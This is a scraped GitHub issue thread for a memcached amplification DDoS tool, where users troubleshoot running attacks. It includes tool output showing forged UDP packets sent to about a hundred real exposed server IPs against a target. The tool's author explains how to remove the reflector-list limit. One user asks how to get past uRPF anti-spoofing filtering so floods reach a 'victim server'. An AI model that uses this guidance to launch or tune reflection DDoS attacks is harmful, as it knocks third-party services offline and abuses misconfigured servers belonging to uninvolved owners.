Segmentation fault: 11 - Githubissues

lolminer commented 6 years ago

When start sending packets mac os 10.13.2

649 commented 6 years ago

Make sure you have scapy module installed, open python and try issuing commands that make calls to the module, here is documentation: http://www.secdev.org/projects/scapy/

I do not own that specific version of macOS to test this, I'll leave this issue open in-case someone also experiences the same problem.

kaue commented 6 years ago

same issue mac os 10.13.3

649 commented 6 years ago

From my understanding, Scapy is a little buggy on macOS, I believe it's available for OSX,

Read these instructions and see if they help: https://dustin.li/2016/08/scapy-on-mac-os-x/

If you can't get Scapy to work on macOS, it's an issue with Scapy not the tool you're using.

ghost commented 6 years ago

Traceback (most recent call last): File "Memcrashed.py", line 3, in import sys, os, time, shodan ImportError: No module named 'shodan'

Lv-Max commented 6 years ago

@sandman4812av use pip3 install shodan

ghost commented 6 years ago

thanks but i can not know logic here shodan finds 60646 memcached host ip but script complete task after a few requests (not 60k)

Lv-Max commented 6 years ago

@sandman4812av Maybe u can try to use the local stored shodan data because the 60k data were all written to the 'bots.txt' btw, can u receive the flood which were reflected back on the victim server because I have tried many times on GCE, EC2 or AliBaBa Cloud and I haven't receive the flood once.

yildirimserkan commented 6 years ago

This is my problem

Traceback (most recent call last):
  File "Memcrashed.py", line 63, in <module>
    query = input("[*] Use Shodan API to search for affected Memcached servers? <Y/n>: ").lower()
  File "<string>", line 1, in <module>
NameError: name 'y' is not defined

I got this error because i tried to compile it with python2 :) Srry

ghost commented 6 years ago

i can not know this, why only 100 requests ?

[*] Please enter a valid Shodan.io API Key: ***** [~] File written: ./api.txt

[*] Use Shodan API to search for affected Memcached servers? <Y/n>: y

[~] Checking Shodan.io API Key: ** [✓] API Key Authentication: SUCCESS [~] Number of bots: 61435

[*] Save results for later usage? <Y/n>: y [~] File written: ./bots.txt

[*] Would you like to use locally stored Shodan data? <Y/n>: y

[▸] Enter target IP address: ***** [▸] Enter preferred power (Default 1): 1 [▸] Enter payload contained inside packet: 10

[*] Would you like to display all the bots from Shodan? <Y/n>: y

[*] Ready to engage target ***? <Y/n>: y [+] Sending 1 forged UDP packet to: 185.58.205.218 .[+] Sending 1 forged UDP packet to: 114.215.198.32 .[+] Sending 1 forged UDP packet to: 79.98.30.159 .[+] Sending 1 forged UDP packet to: 198.11.234.98 .[+] Sending 1 forged UDP packet to: 51.254.93.89 .[+] Sending 1 forged UDP packet to: 69.50.212.204 .[+] Sending 1 forged UDP packet to: 43.225.158.248 .[+] Sending 1 forged UDP packet to: 23.225.113.65 .[+] Sending 1 forged UDP packet to: 23.244.241.178 .[+] Sending 1 forged UDP packet to: 61.147.124.51 .[+] Sending 1 forged UDP packet to: 109.235.252.151 .[+] Sending 1 forged UDP packet to: 147.52.110.5 .[+] Sending 1 forged UDP packet to: 77.75.124.183 .[+] Sending 1 forged UDP packet to: 164.58.48.5 .[+] Sending 1 forged UDP packet to: 54.37.242.70 .[+] Sending 1 forged UDP packet to: 123.30.157.244 .[+] Sending 1 forged UDP packet to: 42.121.236.117 .[+] Sending 1 forged UDP packet to: 139.199.184.33 .[+] Sending 1 forged UDP packet to: 216.98.10.213 .[+] Sending 1 forged UDP packet to: 185.174.28.89 .[+] Sending 1 forged UDP packet to: 47.75.48.225 .[+] Sending 1 forged UDP packet to: 123.30.191.42 .[+] Sending 1 forged UDP packet to: 91.224.140.37 .[+] Sending 1 forged UDP packet to: 149.56.165.165 .[+] Sending 1 forged UDP packet to: 119.38.160.30 .[+] Sending 1 forged UDP packet to: 123.30.139.46 .[+] Sending 1 forged UDP packet to: 123.31.43.241 .[+] Sending 1 forged UDP packet to: 119.23.21.215 .[+] Sending 1 forged UDP packet to: 115.29.160.192 .[+] Sending 1 forged UDP packet to: 149.202.44.25 .[+] Sending 1 forged UDP packet to: 203.122.25.59 .[+] Sending 1 forged UDP packet to: 195.161.62.194 .[+] Sending 1 forged UDP packet to: 185.12.124.76 .[+] Sending 1 forged UDP packet to: 173.212.245.117 .[+] Sending 1 forged UDP packet to: 1.60.17.28 .[+] Sending 1 forged UDP packet to: 103.27.237.107 .[+] Sending 1 forged UDP packet to: 203.172.121.141 .[+] Sending 1 forged UDP packet to: 134.213.30.27 .[+] Sending 1 forged UDP packet to: 158.69.36.2 .[+] Sending 1 forged UDP packet to: 72.14.186.34 .[+] Sending 1 forged UDP packet to: 5.39.57.88 .[+] Sending 1 forged UDP packet to: 81.169.215.229 .[+] Sending 1 forged UDP packet to: 209.236.126.69 .[+] Sending 1 forged UDP packet to: 192.99.25.230 .[+] Sending 1 forged UDP packet to: 125.34.67.139 .[+] Sending 1 forged UDP packet to: 103.45.13.162 .[+] Sending 1 forged UDP packet to: 23.244.241.138 .[+] Sending 1 forged UDP packet to: 62.176.2.210 .[+] Sending 1 forged UDP packet to: 66.70.223.64 .[+] Sending 1 forged UDP packet to: 61.9.48.146 .[+] Sending 1 forged UDP packet to: 37.56.90.63 .[+] Sending 1 forged UDP packet to: 108.61.246.84 .[+] Sending 1 forged UDP packet to: 23.225.95.252 .[+] Sending 1 forged UDP packet to: 207.210.68.42 .[+] Sending 1 forged UDP packet to: 47.88.104.228 .[+] Sending 1 forged UDP packet to: 117.54.238.221 .[+] Sending 1 forged UDP packet to: 23.225.95.36 .[+] Sending 1 forged UDP packet to: 172.247.51.143 .[+] Sending 1 forged UDP packet to: 139.196.239.43 .[+] Sending 1 forged UDP packet to: 173.201.27.39 .[+] Sending 1 forged UDP packet to: 54.248.233.245 .[+] Sending 1 forged UDP packet to: 123.30.128.176 .[+] Sending 1 forged UDP packet to: 133.242.185.90 .[+] Sending 1 forged UDP packet to: 113.120.61.246 .[+] Sending 1 forged UDP packet to: 114.7.34.18 .[+] Sending 1 forged UDP packet to: 117.103.206.12 .[+] Sending 1 forged UDP packet to: 213.251.187.75 .[+] Sending 1 forged UDP packet to: 220.164.24.38 .[+] Sending 1 forged UDP packet to: 123.30.128.187 .[+] Sending 1 forged UDP packet to: 172.247.51.58 .[+] Sending 1 forged UDP packet to: 151.80.151.179 .[+] Sending 1 forged UDP packet to: 153.122.27.24 .[+] Sending 1 forged UDP packet to: 185.140.12.200 .[+] Sending 1 forged UDP packet to: 45.77.44.172 .[+] Sending 1 forged UDP packet to: 112.137.167.32 .[+] Sending 1 forged UDP packet to: 118.139.178.110 .[+] Sending 1 forged UDP packet to: 109.123.155.96 .[+] Sending 1 forged UDP packet to: 128.101.122.229 .[+] Sending 1 forged UDP packet to: 69.64.83.135 .[+] Sending 1 forged UDP packet to: 198.23.171.155 .[+] Sending 1 forged UDP packet to: 54.210.138.147 .[+] Sending 1 forged UDP packet to: 95.158.131.144 .[+] Sending 1 forged UDP packet to: 222.216.1.66 .[+] Sending 1 forged UDP packet to: 181.112.145.251 .[+] Sending 1 forged UDP packet to: 118.31.71.231 .[+] Sending 1 forged UDP packet to: 176.53.20.46 .[+] Sending 1 forged UDP packet to: 111.231.110.149 .[+] Sending 1 forged UDP packet to: 89.175.27.177 .[+] Sending 1 forged UDP packet to: 198.50.191.110 .[+] Sending 1 forged UDP packet to: 172.247.51.145 .[+] Sending 1 forged UDP packet to: 211.149.200.233 .[+] Sending 1 forged UDP packet to: 182.253.226.85 .[+] Sending 1 forged UDP packet to: 176.31.147.158 .[+] Sending 1 forged UDP packet to: 112.4.90.134 .[+] Sending 1 forged UDP packet to: 112.124.125.107 .[+] Sending 1 forged UDP packet to: 77.81.164.139 .[+] Sending 1 forged UDP packet to: 69.175.18.42 .[+] Sending 1 forged UDP packet to: 45.77.221.32 .[+] Sending 1 forged UDP packet to: 123.31.19.98 .[+] Sending 1 forged UDP packet to: 50.97.148.126 . [•] Task complete! Exiting Platform. Have a wonderful day.

why only 100 ???

Lv-Max commented 6 years ago

@sandman4812av Why don't u just check the 'bots.txt' and use the local stored shodan data? You can also download the data form shodan website and exact the ip in it and put it into the bots.txt, that will use all the machines.

ghost commented 6 years ago

[*] Would you like to use locally stored Shodan data? <Y/n>: n and again 100 i can not know logic here, what happens ? and how download or view that list ?

Lv-Max commented 6 years ago

@sandman4812av I may know the problem. I review the code and find the time.sleep(1.1 - ((time.time() - starttime) % 1.1)) in the showing and storing progress this may cause the problem.

ghost commented 6 years ago

and what change there ? and how download or view that list ?

ghost commented 6 years ago

waiting for author or others recomendations

Lv-Max commented 6 years ago

@sandman4812av I think you can just delete the code however I don't have a upgrade account so I couldn't try weather it works. You can go to shodan.io and search ‘port:11211', choose 'Download the results' to download the data

ghost commented 6 years ago

i can only download 100 because edu email but what's wrong with code here ?

yildirimserkan commented 6 years ago

How can find a edu e-mail for api ☺️ ?

649 commented 6 years ago

@sandman4812av @Lv-Max

It's because Shodan API only allows you to store 100 IPs with them. If you want to use more, use the local feature instead. Edit bots.txt with the amount of IPs you want to send to, then there is no limit.

Also results from Shodan when saved to bot.txt are appended to (not overwritten). Which means if you already have 100 stored and then you save again, now you have 200 IPs. Keep in mind it will store them like this even if there are duplicate IPs! You can store a million IPs in the bots.txt and if you chose to use locally stored data it WILL send to all million IPs (as long as your computer has the resources and your ISP doesn't blacklist you for spam).

There is nothing wrong with the code. It's purely Shodan's "problem". The time function I added that you mentioned earlier for instance is there so the script does not make requests to the Shodan API faster than 1 second, because Shodan only allows you to do 1 request per second, hence why it's 1.1 request per second so you don't go over their rules and crash the code. It's a little "trick" hehe ;-)

and @yildirimserkan you can get a .edu through a school, research facility, university, college.

Lv-Max commented 6 years ago

@649 Thx! I'm not that great on Python and sorry about that;P. Btw, I have tried running the script on amazon S3 or Google Computer Engine and Alibaba Cloud but I can't get any flood on the victim server. Someone told me that if the router with 'uRPF' it will declined the packages and won't get any result, how can I avoid this or find a Server which the router won't have the 'uRPF' ?

ghost commented 6 years ago

[*] Ready to engage target x.x.x.x.x.x ? <Y/n>: y Traceback (most recent call last): File "Memcrashed.py", line 117, in for i in ip_array: NameError: name 'ip_array' is not defined

ghost commented 6 years ago

when i check stored locally bots.txt in /memcrashed folder, scritpt responses me No bots stored locally, bots.txt file not found! but bots.txt file is in [root@localhost Memcrashed-DDoS-Exploit]# what is wrong ?

649 commented 6 years ago

@sandman4812av ok are you using python 3.x? (Python 2 will not work). and bots.txt is meant to be in the same directory as the python script.

ghost commented 6 years ago

yes, i use python 3.x, and bots.txt file is in the same directory with python script p.s linux fedora 25

ghost commented 6 years ago

screen21 screen22

649 commented 6 years ago

okay perhaps it is looking for that file in your python directory. can you provide me with the exact command you try to issue when executing this script? It should be "sudo python Githubissues.

Githubissues is a development platform for aggregating issues.

649 / Memcrashed-DDoS-Exploit

Segmentation fault: 11 #7